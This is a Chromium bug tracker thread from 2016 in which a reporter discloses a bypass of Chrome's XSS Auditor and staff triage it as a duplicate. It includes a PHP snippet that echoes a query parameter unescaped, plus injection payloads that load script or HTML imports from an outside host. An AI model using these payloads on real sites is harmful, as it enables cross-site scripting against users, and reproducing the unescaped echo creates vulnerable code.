Security: Bypass chrome xss auditor under some conditons
Reported by
nohack...@gmail.com,
May 3 2016
|
|||||
Issue descriptionVULNERABILITY DETAILS when there exsits script after an xss injection like <img alt="[injection]" src="x">,and the url scheme is http for example: --------------------------------- <img alt="[injection]" src="x"> <script>var a=1;</script> --------------------------------- php source code: --------------------------------- <img alt="<?php echo $_GET['x'];?>" src="x"> <script> var a=1; </script> --------------------------------- we can use: x="><script%20src=https:www.cm3.pw/ to bypass chrome auditor. it will load https://www.cm3.pw/" as js file you can also see here: http://cm3.pw/xss.php?x=%22%3E%3Cscript%20src=https:www.cm3.pw/ VERSION Chrome Version: 50.0.2661.94 (64-bit) Operating System: OSX 10.11.X
,
May 6 2016
tsepez@, what's in/out of scope for the XSS auditor? I notice we get a lot of these, it might be good to add to the sheriff docs or FAQ.
,
May 6 2016
,
May 10 2016
tom, ping, can you please take a look at this one too?
,
May 10 2016
Thanks for the report. We don't usually track XSS auditor bypasses as security vulnerabilities, but this may still be a bug.
,
May 11 2016
alright,thanks for your paying attention on my issue again
,
May 11 2016
We give a pass to same-origin scripts to cut down on the XSSAuditor false positive rate. If you try injecting a script from a different origin, and it is still not caught, then feel free to re-open the bug.
,
May 19 2016
well I don't think the same-origin limit works on my POC " <img alt="[injection]" src="x"> also has bypass like: x=1"><link%20rel="import"%20href=https:www.cm3.pw/ " you can test it
,
May 19 2016
,
May 20 2016
23333
,
Dec 8 2016
Is this bug already fixed?
,
Dec 8 2016
I don't think so, to my disappointment it was duplicated to another one reported even later than mine. And I have no permission to access this one id=`613123`. But anyway,I'd like to 膜 teacher P at this place 0.0!
,
Dec 8 2016
Sorry about the "duplicate to later", result of misdiagnosing this original issue and having the second report come in.
,
Dec 8 2016
Never mind , thank you |
|||||
►
Sign in to add a comment |
|||||
Comment 1 by nohack...@gmail.com
, May 3 2016